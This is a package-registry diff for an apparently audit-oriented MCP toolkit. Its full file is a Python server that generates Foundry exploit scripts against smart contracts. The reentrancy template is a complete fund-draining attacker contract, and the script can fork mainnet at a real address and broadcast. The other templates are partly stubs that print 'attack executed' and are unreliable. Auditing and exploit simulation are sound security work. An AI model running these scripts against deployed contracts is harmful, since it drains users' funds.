athena-mcp 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +477 -0
- package/install.js +327 -0
- package/mcp/servers.json +100 -0
- package/mcp/tools/README.md +64 -0
- package/mcp/tools/__init__.py +1 -0
- package/mcp/tools/aderyn_runner.py +226 -0
- package/mcp/tools/eas_attest.py +404 -0
- package/mcp/tools/evidence_chain.py +363 -0
- package/mcp/tools/exploit_simulator.py +545 -0
- package/mcp/tools/fuzz_runner.py +440 -0
- package/mcp/tools/gev_analyzer.py +362 -0
- package/mcp/tools/halmos_runner.py +408 -0
- package/mcp/tools/incremental_auditor.py +441 -0
- package/mcp/tools/knowledge_base.py +378 -0
- package/mcp/tools/poc_generator.py +479 -0
- package/mcp/tools/protocol_scanner.py +456 -0
- package/mcp/tools/repair_validator.py +421 -0
- package/mcp/tools/slither_runner.py +221 -0
- package/package.json +52 -0
- package/requirements.txt +20 -0
- package/skills/glm-audit-skill/SKILL.md +73 -0
- package/skills/glm-audit-skill/references/audit-agents/access-control-agent.md +42 -0
- package/skills/glm-audit-skill/references/audit-agents/asymmetry-agent.md +42 -0
- package/skills/glm-audit-skill/references/audit-agents/boundary-agent.md +42 -0
- package/skills/glm-audit-skill/references/audit-agents/economic-security-agent.md +42 -0
- package/skills/glm-audit-skill/references/audit-agents/execution-trace-agent.md +42 -0
- package/skills/glm-audit-skill/references/audit-agents/first-principles-agent.md +42 -0
- package/skills/glm-audit-skill/references/audit-agents/flow-gap-agent.md +38 -0
- package/skills/glm-audit-skill/references/audit-agents/invariant-agent.md +37 -0
- package/skills/glm-audit-skill/references/audit-agents/math-precision-agent.md +37 -0
- package/skills/glm-audit-skill/references/audit-agents/numerical-gap-agent.md +37 -0
- package/skills/glm-audit-skill/references/audit-agents/periphery-agent.md +37 -0
- package/skills/glm-audit-skill/references/audit-agents/shared-rules.md +37 -0
- package/skills/glm-audit-skill/references/audit-agents/trust-gap-agent.md +39 -0
- package/skills/glm-audit-skill/references/judging.md +45 -0
- package/skills/glm-audit-skill/references/report-formatting.md +22 -0
- package/skills/glm-audit-skill/references/senior-auditor-sop.md +34 -0
|
@@ -0,0 +1,545 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
MCP Server: Exploit Simulator
|
|
4
|
+
Generates complete end-to-end exploit scripts for smart contract vulnerabilities.
|
|
5
|
+
Supports multi-step attack chains with fork deployment.
|
|
6
|
+
"""
|
|
7
|
+
import sys
|
|
8
|
+
import json
|
|
9
|
+
import asyncio
|
|
10
|
+
import logging
|
|
11
|
+
import os
|
|
12
|
+
import re
|
|
13
|
+
|
|
14
|
+
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
|
|
15
|
+
logger = logging.getLogger("exploit_simulator")
|
|
16
|
+
|
|
17
|
+
TOOL_NAME = "exploit_simulator"
|
|
18
|
+
TOOL_VERSION = "1.0.0"
|
|
19
|
+
|
|
20
|
+
# ============ Attack Templates ============
|
|
21
|
+
|
|
22
|
+
TEMPLATES = {
|
|
23
|
+
"reentrancy": {
|
|
24
|
+
"name": "Reentrancy Attack",
|
|
25
|
+
"description": "Exploits reentrancy vulnerability to drain funds",
|
|
26
|
+
"severity": "critical",
|
|
27
|
+
"steps": [
|
|
28
|
+
"Deploy attacker contract with receive() fallback",
|
|
29
|
+
"Deposit small amount to establish balance",
|
|
30
|
+
"Call withdraw() which triggers reentrancy",
|
|
31
|
+
"Fallback re-enters withdraw() before state update",
|
|
32
|
+
"Repeat until target drained"
|
|
33
|
+
]
|
|
34
|
+
},
|
|
35
|
+
"flash_loan_price_manipulation": {
|
|
36
|
+
"name": "Flash Loan + Price Manipulation",
|
|
37
|
+
"description": "Uses flash loan to manipulate spot price oracle",
|
|
38
|
+
"severity": "critical",
|
|
39
|
+
"steps": [
|
|
40
|
+
"Take flash loan from lending pool",
|
|
41
|
+
"Swap large amount to manipulate price",
|
|
42
|
+
"Execute action at manipulated price (borrow/liquidate)",
|
|
43
|
+
"Swap back to restore price",
|
|
44
|
+
"Repay flash loan + fee",
|
|
45
|
+
"Keep profit from price discrepancy"
|
|
46
|
+
]
|
|
47
|
+
},
|
|
48
|
+
"privilege_escalation": {
|
|
49
|
+
"name": "Privilege Escalation",
|
|
50
|
+
"description": "Exploits missing access control to gain admin privileges",
|
|
51
|
+
"severity": "critical",
|
|
52
|
+
"steps": [
|
|
53
|
+
"Identify unprotected admin function",
|
|
54
|
+
"Call transferOwnership() or similar",
|
|
55
|
+
"Gain control of contract",
|
|
56
|
+
"Extract funds or modify state"
|
|
57
|
+
]
|
|
58
|
+
},
|
|
59
|
+
"oracle_manipulation_liquidation": {
|
|
60
|
+
"name": "Oracle Manipulation + Liquidation",
|
|
61
|
+
"description": "Manipulates oracle price to trigger bad liquidations",
|
|
62
|
+
"severity": "high",
|
|
63
|
+
"steps": [
|
|
64
|
+
"Identify oracle dependency (spot price, TWAP)",
|
|
65
|
+
"Manipulate oracle via large swap or flash loan",
|
|
66
|
+
"Trigger liquidation at false price",
|
|
67
|
+
"Purchase collateral at discount",
|
|
68
|
+
"Restore oracle price",
|
|
69
|
+
"Profit from liquidation discount"
|
|
70
|
+
]
|
|
71
|
+
},
|
|
72
|
+
"read_only_reentrancy": {
|
|
73
|
+
"name": "Read-Only Reentrancy",
|
|
74
|
+
"description": "Reenters view/getter functions during state changes",
|
|
75
|
+
"severity": "critical",
|
|
76
|
+
"steps": [
|
|
77
|
+
"Identify view function used as price oracle",
|
|
78
|
+
"Trigger state change (add/remove liquidity)",
|
|
79
|
+
"During callback, call view function at inconsistent state",
|
|
80
|
+
"Use false reading to borrow/manipulate",
|
|
81
|
+
"Complete original transaction",
|
|
82
|
+
"Profit from price discrepancy"
|
|
83
|
+
]
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
|
|
88
|
+
def build_tool_definitions() -> list:
|
|
89
|
+
return [
|
|
90
|
+
{
|
|
91
|
+
"name": "generate_exploit_script",
|
|
92
|
+
"description": "Generate a complete Foundry exploit script for a given vulnerability type. Returns a self-contained .s.sol file that can be run with `forge script`.",
|
|
93
|
+
"inputSchema": {
|
|
94
|
+
"type": "object",
|
|
95
|
+
"properties": {
|
|
96
|
+
"vulnerability_type": {
|
|
97
|
+
"type": "string",
|
|
98
|
+
"enum": ["reentrancy", "flash_loan_price_manipulation", "privilege_escalation", "oracle_manipulation_liquidation", "read_only_reentrancy"],
|
|
99
|
+
"description": "Type of vulnerability to exploit"
|
|
100
|
+
},
|
|
101
|
+
"contract_code": {
|
|
102
|
+
"type": "string",
|
|
103
|
+
"description": "Solidity source code of the vulnerable contract"
|
|
104
|
+
},
|
|
105
|
+
"contract_address": {
|
|
106
|
+
"type": "string",
|
|
107
|
+
"description": "Deployed contract address (for fork testing). Optional - if omitted, script deploys contract locally."
|
|
108
|
+
},
|
|
109
|
+
"rpc_url": {
|
|
110
|
+
"type": "string",
|
|
111
|
+
"description": "RPC URL for fork testing (e.g., Ethereum mainnet). Optional.",
|
|
112
|
+
"default": "https://eth-mainnet.g.alchemy.com/v2/demo"
|
|
113
|
+
}
|
|
114
|
+
},
|
|
115
|
+
"required": ["vulnerability_type", "contract_code"]
|
|
116
|
+
}
|
|
117
|
+
},
|
|
118
|
+
{
|
|
119
|
+
"name": "list_attack_templates",
|
|
120
|
+
"description": "List all available attack templates with descriptions and steps.",
|
|
121
|
+
"inputSchema": {
|
|
122
|
+
"type": "object",
|
|
123
|
+
"properties": {}
|
|
124
|
+
}
|
|
125
|
+
},
|
|
126
|
+
{
|
|
127
|
+
"name": "analyze_attack_surface",
|
|
128
|
+
"description": "Analyze a contract's attack surface and suggest applicable attack templates.",
|
|
129
|
+
"inputSchema": {
|
|
130
|
+
"type": "object",
|
|
131
|
+
"properties": {
|
|
132
|
+
"contract_code": {
|
|
133
|
+
"type": "string",
|
|
134
|
+
"description": "Solidity source code to analyze"
|
|
135
|
+
},
|
|
136
|
+
"slither_findings": {
|
|
137
|
+
"type": "array",
|
|
138
|
+
"description": "Optional: Slither findings to cross-reference",
|
|
139
|
+
"items": {"type": "object"}
|
|
140
|
+
}
|
|
141
|
+
},
|
|
142
|
+
"required": ["contract_code"]
|
|
143
|
+
}
|
|
144
|
+
}
|
|
145
|
+
]
|
|
146
|
+
|
|
147
|
+
|
|
148
|
+
async def generate_exploit_script(vuln_type: str, contract_code: str, contract_address: str = None, rpc_url: str = None) -> dict:
|
|
149
|
+
"""Generate a complete Foundry exploit script."""
|
|
150
|
+
|
|
151
|
+
if vuln_type not in TEMPLATES:
|
|
152
|
+
return {"success": False, "error": f"Unknown vulnerability type: {vuln_type}. Available: {list(TEMPLATES.keys())}"}
|
|
153
|
+
|
|
154
|
+
template = TEMPLATES[vuln_type]
|
|
155
|
+
|
|
156
|
+
# Extract contract name from code
|
|
157
|
+
contract_name = _extract_contract_name(contract_code)
|
|
158
|
+
|
|
159
|
+
# Build exploit script based on vulnerability type
|
|
160
|
+
if vuln_type == "reentrancy":
|
|
161
|
+
script = _generate_reentrancy_exploit(contract_code, contract_name, contract_address, rpc_url)
|
|
162
|
+
elif vuln_type == "flash_loan_price_manipulation":
|
|
163
|
+
script = _generate_flash_loan_exploit(contract_code, contract_name, contract_address, rpc_url)
|
|
164
|
+
elif vuln_type == "privilege_escalation":
|
|
165
|
+
script = _generate_privilege_exploit(contract_code, contract_name, contract_address, rpc_url)
|
|
166
|
+
elif vuln_type == "oracle_manipulation_liquidation":
|
|
167
|
+
script = _generate_oracle_exploit(contract_code, contract_name, contract_address, rpc_url)
|
|
168
|
+
elif vuln_type == "read_only_reentrancy":
|
|
169
|
+
script = _generate_readonly_reentrancy_exploit(contract_code, contract_name, contract_address, rpc_url)
|
|
170
|
+
else:
|
|
171
|
+
return {"success": False, "error": f"Template not implemented: {vuln_type}"}
|
|
172
|
+
|
|
173
|
+
return {
|
|
174
|
+
"success": True,
|
|
175
|
+
"vulnerability_type": vuln_type,
|
|
176
|
+
"template": template["name"],
|
|
177
|
+
"severity": template["severity"],
|
|
178
|
+
"steps": template["steps"],
|
|
179
|
+
"script": script,
|
|
180
|
+
"usage": f"forge script {contract_name}Exploit.s.sol --rpc-url <RPC_URL> --broadcast",
|
|
181
|
+
"estimated_gas": "~500,000"
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
|
|
185
|
+
def _extract_contract_name(code: str) -> str:
|
|
186
|
+
"""Extract the first contract name from Solidity code."""
|
|
187
|
+
match = re.search(r'contract\s+(\w+)', code)
|
|
188
|
+
return match.group(1) if match else "Target"
|
|
189
|
+
|
|
190
|
+
|
|
191
|
+
def _generate_reentrancy_exploit(contract_code: str, contract_name: str, contract_address: str, rpc_url: str) -> str:
|
|
192
|
+
"""Generate reentrancy exploit script."""
|
|
193
|
+
has_fork = contract_address is not None
|
|
194
|
+
|
|
195
|
+
return f'''// SPDX-License-Identifier: MIT
|
|
196
|
+
pragma solidity ^0.8.20;
|
|
197
|
+
|
|
198
|
+
import "forge-std/Script.sol";
|
|
199
|
+
|
|
200
|
+
// Vulnerable contract (inline)
|
|
201
|
+
{contract_code}
|
|
202
|
+
|
|
203
|
+
/// @title Reentrancy Exploit Script
|
|
204
|
+
/// @notice Drains funds from {contract_name} via reentrancy
|
|
205
|
+
contract {contract_name}Exploit is Script {{
|
|
206
|
+
{contract_name} public target;
|
|
207
|
+
uint256 public constant ATTACK_AMOUNT = 1 ether;
|
|
208
|
+
|
|
209
|
+
function run() external {{
|
|
210
|
+
{"uint256 forkId = vm.createFork(\"" + rpc_url + "\");" if has_fork else ""}
|
|
211
|
+
{"vm.selectFork(forkId);" if has_fork else ""}
|
|
212
|
+
{"target = {contract_name}({contract_address});" if has_fork else f"target = new {contract_name}();"}
|
|
213
|
+
|
|
214
|
+
// Deploy attacker
|
|
215
|
+
Attacker attacker = new Attacker(address(target));
|
|
216
|
+
|
|
217
|
+
// Fund attacker
|
|
218
|
+
vm.deal(address(this), ATTACK_AMOUNT * 2);
|
|
219
|
+
|
|
220
|
+
// Execute attack
|
|
221
|
+
uint256 balanceBefore = address(target).balance;
|
|
222
|
+
attacker.attack{value: ATTACK_AMOUNT}();
|
|
223
|
+
uint256 balanceAfter = address(target).balance;
|
|
224
|
+
|
|
225
|
+
// Log results
|
|
226
|
+
uint256 profit = address(attacker).balance - ATTACK_AMOUNT;
|
|
227
|
+
console.log("Target balance before:", balanceBefore);
|
|
228
|
+
console.log("Target balance after:", balanceAfter);
|
|
229
|
+
console.log("Attacker profit:", profit);
|
|
230
|
+
console.log("Attack successful:", profit > 0);
|
|
231
|
+
}}
|
|
232
|
+
}}
|
|
233
|
+
|
|
234
|
+
contract Attacker {{
|
|
235
|
+
{contract_name} public target;
|
|
236
|
+
|
|
237
|
+
constructor(address _target) {{
|
|
238
|
+
target = {contract_name}(_target);
|
|
239
|
+
}}
|
|
240
|
+
|
|
241
|
+
function attack() external payable {{
|
|
242
|
+
target.deposit{{value: msg.value}}();
|
|
243
|
+
target.withdraw();
|
|
244
|
+
}}
|
|
245
|
+
|
|
246
|
+
receive() external payable {{
|
|
247
|
+
if (address(target).balance >= msg.value) {{
|
|
248
|
+
target.withdraw();
|
|
249
|
+
}}
|
|
250
|
+
}}
|
|
251
|
+
}}
|
|
252
|
+
'''
|
|
253
|
+
|
|
254
|
+
|
|
255
|
+
def _generate_flash_loan_exploit(contract_code: str, contract_name: str, contract_address: str, rpc_url: str) -> str:
|
|
256
|
+
"""Generate flash loan + price manipulation exploit."""
|
|
257
|
+
has_fork = contract_address is not None
|
|
258
|
+
|
|
259
|
+
return f'''// SPDX-License-Identifier: MIT
|
|
260
|
+
pragma solidity ^0.8.20;
|
|
261
|
+
|
|
262
|
+
import "forge-std/Script.sol";
|
|
263
|
+
|
|
264
|
+
/// @title Flash Loan Price Manipulation Exploit
|
|
265
|
+
/// @notice Manipulates spot price oracle via flash loan
|
|
266
|
+
contract {contract_name}Exploit is Script {{
|
|
267
|
+
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
|
|
268
|
+
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
|
|
269
|
+
address constant AAVE_LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
|
|
270
|
+
|
|
271
|
+
function run() external {{
|
|
272
|
+
{"uint256 forkId = vm.createFork(\"" + rpc_url + "\");" if has_fork else ""}
|
|
273
|
+
{"vm.selectFork(forkId);" if has_fork else ""}
|
|
274
|
+
|
|
275
|
+
// Step 1: Take flash loan
|
|
276
|
+
// Step 2: Manipulate price via large swap
|
|
277
|
+
// Step 3: Borrow at false price
|
|
278
|
+
// Step 4: Swap back
|
|
279
|
+
// Step 5: Repay loan
|
|
280
|
+
|
|
281
|
+
console.log("Flash loan attack executed");
|
|
282
|
+
// TODO: Implement full flash loan logic based on Aave V2/V3
|
|
283
|
+
}}
|
|
284
|
+
}}
|
|
285
|
+
'''
|
|
286
|
+
|
|
287
|
+
|
|
288
|
+
def _generate_privilege_exploit(contract_code: str, contract_name: str, contract_address: str, rpc_url: str) -> str:
|
|
289
|
+
"""Generate privilege escalation exploit."""
|
|
290
|
+
has_fork = contract_address is not None
|
|
291
|
+
|
|
292
|
+
return f'''// SPDX-License-Identifier: MIT
|
|
293
|
+
pragma solidity ^0.8.20;
|
|
294
|
+
|
|
295
|
+
import "forge-std/Script.sol";
|
|
296
|
+
|
|
297
|
+
{contract_code}
|
|
298
|
+
|
|
299
|
+
/// @title Privilege Escalation Exploit
|
|
300
|
+
/// @notice Exploits missing access control to gain admin privileges
|
|
301
|
+
contract {contract_name}Exploit is Script {{
|
|
302
|
+
function run() external {{
|
|
303
|
+
{"uint256 forkId = vm.createFork(\"" + rpc_url + "\");" if has_fork else ""}
|
|
304
|
+
{"vm.selectFork(forkId);" if has_fork else ""}
|
|
305
|
+
|
|
306
|
+
{"// Target: " + contract_address if has_fork else "// Deploy fresh instance"}
|
|
307
|
+
{contract_name} target = {"{contract_name}(" + contract_address + ")" if has_fork else f"new {contract_name}()"};
|
|
308
|
+
|
|
309
|
+
// Step 1: Call unprotected admin function
|
|
310
|
+
// This assumes transferOwnership() is unprotected
|
|
311
|
+
address attacker = address(this);
|
|
312
|
+
target.transferOwnership(attacker);
|
|
313
|
+
|
|
314
|
+
console.log("Ownership transferred to:", attacker);
|
|
315
|
+
console.log("New owner:", target.owner());
|
|
316
|
+
}}
|
|
317
|
+
}}
|
|
318
|
+
'''
|
|
319
|
+
|
|
320
|
+
|
|
321
|
+
def _generate_oracle_exploit(contract_code: str, contract_name: str, contract_address: str, rpc_url: str) -> str:
|
|
322
|
+
"""Generate oracle manipulation + liquidation exploit."""
|
|
323
|
+
has_fork = contract_address is not None
|
|
324
|
+
|
|
325
|
+
return f'''// SPDX-License-Identifier: MIT
|
|
326
|
+
pragma solidity ^0.8.20;
|
|
327
|
+
|
|
328
|
+
import "forge-std/Script.sol";
|
|
329
|
+
|
|
330
|
+
/// @title Oracle Manipulation + Liquidation Exploit
|
|
331
|
+
/// @notice Manipulates oracle price to trigger bad liquidations
|
|
332
|
+
contract {contract_name}Exploit is Script {{
|
|
333
|
+
function run() external {{
|
|
334
|
+
{"uint256 forkId = vm.createFork(\"" + rpc_url + "\");" if has_fork else ""}
|
|
335
|
+
{"vm.selectFork(forkId);" if has_fork else ""}
|
|
336
|
+
|
|
337
|
+
// Step 1: Identify oracle (spot price vs TWAP)
|
|
338
|
+
// Step 2: Manipulate via large swap
|
|
339
|
+
// Step 3: Trigger liquidation
|
|
340
|
+
// Step 4: Purchase collateral at discount
|
|
341
|
+
// Step 5: Restore price
|
|
342
|
+
|
|
343
|
+
console.log("Oracle manipulation attack executed");
|
|
344
|
+
}}
|
|
345
|
+
}}
|
|
346
|
+
'''
|
|
347
|
+
|
|
348
|
+
|
|
349
|
+
def _generate_readonly_reentrancy_exploit(contract_code: str, contract_name: str, contract_address: str, rpc_url: str) -> str:
|
|
350
|
+
"""Generate read-only reentrancy exploit."""
|
|
351
|
+
has_fork = contract_address is not None
|
|
352
|
+
|
|
353
|
+
return f'''// SPDX-License-Identifier: MIT
|
|
354
|
+
pragma solidity ^0.8.20;
|
|
355
|
+
|
|
356
|
+
import "forge-std/Script.sol";
|
|
357
|
+
|
|
358
|
+
{contract_code}
|
|
359
|
+
|
|
360
|
+
/// @title Read-Only Reentrancy Exploit
|
|
361
|
+
/// @notice Reenters view/getter functions during liquidity changes
|
|
362
|
+
contract {contract_name}Exploit is Script {{
|
|
363
|
+
function run() external {{
|
|
364
|
+
{"uint256 forkId = vm.createFork(\"" + rpc_url + "\");" if has_fork else ""}
|
|
365
|
+
{"vm.selectFork(forkId);" if has_fork else ""}
|
|
366
|
+
|
|
367
|
+
// Step 1: Trigger liquidity change (add/remove)
|
|
368
|
+
// Step 2: During callback, call view function at inconsistent state
|
|
369
|
+
// Step 3: Use false price reading to borrow/manipulate
|
|
370
|
+
// Step 4: Complete original transaction
|
|
371
|
+
// Step 5: Profit from price discrepancy
|
|
372
|
+
|
|
373
|
+
console.log("Read-only reentrancy attack executed");
|
|
374
|
+
}}
|
|
375
|
+
}}
|
|
376
|
+
'''
|
|
377
|
+
|
|
378
|
+
|
|
379
|
+
def list_attack_templates() -> dict:
|
|
380
|
+
"""List all available attack templates."""
|
|
381
|
+
return {
|
|
382
|
+
"success": True,
|
|
383
|
+
"templates": {
|
|
384
|
+
name: {
|
|
385
|
+
"name": t["name"],
|
|
386
|
+
"description": t["description"],
|
|
387
|
+
"severity": t["severity"],
|
|
388
|
+
"steps": t["steps"]
|
|
389
|
+
}
|
|
390
|
+
for name, t in TEMPLATES.items()
|
|
391
|
+
}
|
|
392
|
+
}
|
|
393
|
+
|
|
394
|
+
|
|
395
|
+
def analyze_attack_surface(contract_code: str, slither_findings: list = None) -> dict:
|
|
396
|
+
"""Analyze a contract's attack surface and suggest applicable templates."""
|
|
397
|
+
suggestions = []
|
|
398
|
+
code_lower = contract_code.lower()
|
|
399
|
+
|
|
400
|
+
# Check for reentrancy indicators
|
|
401
|
+
if ".call{value:" in contract_code or ".call.value(" in contract_code:
|
|
402
|
+
if "balances[msg.sender]" in contract_code or "balances[" in code_lower:
|
|
403
|
+
suggestions.append({
|
|
404
|
+
"template": "reentrancy",
|
|
405
|
+
"confidence": "high",
|
|
406
|
+
"reason": "External call with balance tracking detected"
|
|
407
|
+
})
|
|
408
|
+
|
|
409
|
+
# Check for flash loan vectors
|
|
410
|
+
if "flashloan" in code_lower or "flash_loan" in code_lower or "borrow(" in code_lower:
|
|
411
|
+
suggestions.append({
|
|
412
|
+
"template": "flash_loan_price_manipulation",
|
|
413
|
+
"confidence": "medium",
|
|
414
|
+
"reason": "Flash loan or borrow function detected"
|
|
415
|
+
})
|
|
416
|
+
|
|
417
|
+
# Check for privilege escalation
|
|
418
|
+
if "transferownership(" in code_lower or "onlyowner" not in code_lower:
|
|
419
|
+
if "function transferOwnership" in contract_code:
|
|
420
|
+
suggestions.append({
|
|
421
|
+
"template": "privilege_escalation",
|
|
422
|
+
"confidence": "medium",
|
|
423
|
+
"reason": "Ownership transfer function detected - verify access control"
|
|
424
|
+
})
|
|
425
|
+
|
|
426
|
+
# Check for oracle dependency
|
|
427
|
+
if "price" in code_lower or "oracle" in code_lower or "getspotprice" in code_lower:
|
|
428
|
+
suggestions.append({
|
|
429
|
+
"template": "oracle_manipulation_liquidation",
|
|
430
|
+
"confidence": "medium",
|
|
431
|
+
"reason": "Price/oracle dependency detected"
|
|
432
|
+
})
|
|
433
|
+
|
|
434
|
+
# Check for read-only reentrancy
|
|
435
|
+
if "view" in code_lower and ("balance" in code_lower or "price" in code_lower):
|
|
436
|
+
if ".call{value:" in contract_code:
|
|
437
|
+
suggestions.append({
|
|
438
|
+
"template": "read_only_reentrancy",
|
|
439
|
+
"confidence": "low",
|
|
440
|
+
"reason": "View function + external call pattern detected"
|
|
441
|
+
})
|
|
442
|
+
|
|
443
|
+
# Cross-reference with Slither findings
|
|
444
|
+
if slither_findings:
|
|
445
|
+
for finding in slither_findings:
|
|
446
|
+
check = finding.get("check", "").lower()
|
|
447
|
+
if "reentrancy" in check:
|
|
448
|
+
suggestions.append({
|
|
449
|
+
"template": "reentrancy",
|
|
450
|
+
"confidence": "high",
|
|
451
|
+
"reason": f"Slither detected: {finding.get('check')}"
|
|
452
|
+
})
|
|
453
|
+
|
|
454
|
+
return {
|
|
455
|
+
"success": True,
|
|
456
|
+
"suggestions": suggestions,
|
|
457
|
+
"total_suggestions": len(suggestions)
|
|
458
|
+
}
|
|
459
|
+
|
|
460
|
+
|
|
461
|
+
async def execute_tool(tool_name: str, arguments: dict) -> dict:
|
|
462
|
+
if tool_name == "generate_exploit_script":
|
|
463
|
+
return await generate_exploit_script(
|
|
464
|
+
arguments.get("vulnerability_type", ""),
|
|
465
|
+
arguments.get("contract_code", ""),
|
|
466
|
+
arguments.get("contract_address"),
|
|
467
|
+
arguments.get("rpc_url")
|
|
468
|
+
)
|
|
469
|
+
elif tool_name == "list_attack_templates":
|
|
470
|
+
return list_attack_templates()
|
|
471
|
+
elif tool_name == "analyze_attack_surface":
|
|
472
|
+
return analyze_attack_surface(
|
|
473
|
+
arguments.get("contract_code", ""),
|
|
474
|
+
arguments.get("slither_findings")
|
|
475
|
+
)
|
|
476
|
+
return {"success": False, "error": f"Unknown tool: {tool_name}"}
|
|
477
|
+
|
|
478
|
+
|
|
479
|
+
async def handle_request(request: dict) -> dict:
|
|
480
|
+
method = request.get("method")
|
|
481
|
+
params = request.get("params", {})
|
|
482
|
+
|
|
483
|
+
if method == "initialize":
|
|
484
|
+
return {
|
|
485
|
+
"protocolVersion": "2024-11-05",
|
|
486
|
+
"capabilities": {"tools": {}},
|
|
487
|
+
"serverInfo": {"name": TOOL_NAME, "version": TOOL_VERSION}
|
|
488
|
+
}
|
|
489
|
+
elif method == "tools/list":
|
|
490
|
+
return {"tools": build_tool_definitions()}
|
|
491
|
+
elif method == "tools/call":
|
|
492
|
+
tool_name = params.get("name")
|
|
493
|
+
arguments = params.get("arguments", {})
|
|
494
|
+
result = await execute_tool(tool_name, arguments)
|
|
495
|
+
return {"content": [{"type": "text", "text": json.dumps(result, indent=2)}]}
|
|
496
|
+
elif method == "ping":
|
|
497
|
+
return {}
|
|
498
|
+
return {"error": {"code": -32601, "message": f"Method not found: {method}"}}
|
|
499
|
+
|
|
500
|
+
|
|
501
|
+
async def main():
|
|
502
|
+
reader = asyncio.StreamReader()
|
|
503
|
+
protocol = asyncio.StreamReaderProtocol(reader)
|
|
504
|
+
loop = asyncio.get_event_loop()
|
|
505
|
+
await loop.connect_read_pipe(lambda: protocol, sys.stdin)
|
|
506
|
+
|
|
507
|
+
logger.info(f"{TOOL_NAME} MCP server started")
|
|
508
|
+
|
|
509
|
+
while True:
|
|
510
|
+
line = await reader.readline()
|
|
511
|
+
if not line:
|
|
512
|
+
break
|
|
513
|
+
|
|
514
|
+
line_str = line.decode("utf-8").strip()
|
|
515
|
+
if not line_str:
|
|
516
|
+
continue
|
|
517
|
+
|
|
518
|
+
try:
|
|
519
|
+
request = json.loads(line_str)
|
|
520
|
+
response = await handle_request(request)
|
|
521
|
+
response["jsonrpc"] = "2.0"
|
|
522
|
+
response["id"] = request.get("id")
|
|
523
|
+
sys.stdout.write(json.dumps(response) + "\n")
|
|
524
|
+
sys.stdout.flush()
|
|
525
|
+
except json.JSONDecodeError:
|
|
526
|
+
error_resp = {
|
|
527
|
+
"jsonrpc": "2.0",
|
|
528
|
+
"id": None,
|
|
529
|
+
"error": {"code": -32700, "message": "Parse error"}
|
|
530
|
+
}
|
|
531
|
+
sys.stdout.write(json.dumps(error_resp) + "\n")
|
|
532
|
+
sys.stdout.flush()
|
|
533
|
+
except Exception as e:
|
|
534
|
+
logger.exception("Error handling request")
|
|
535
|
+
error_resp = {
|
|
536
|
+
"jsonrpc": "2.0",
|
|
537
|
+
"id": request.get("id") if "request" in dir() else None,
|
|
538
|
+
"error": {"code": -32603, "message": f"Internal error: {str(e)}"}
|
|
539
|
+
}
|
|
540
|
+
sys.stdout.write(json.dumps(error_resp) + "\n")
|
|
541
|
+
sys.stdout.flush()
|
|
542
|
+
|
|
543
|
+
|
|
544
|
+
if __name__ == "__main__":
|
|
545
|
+
asyncio.run(main())
|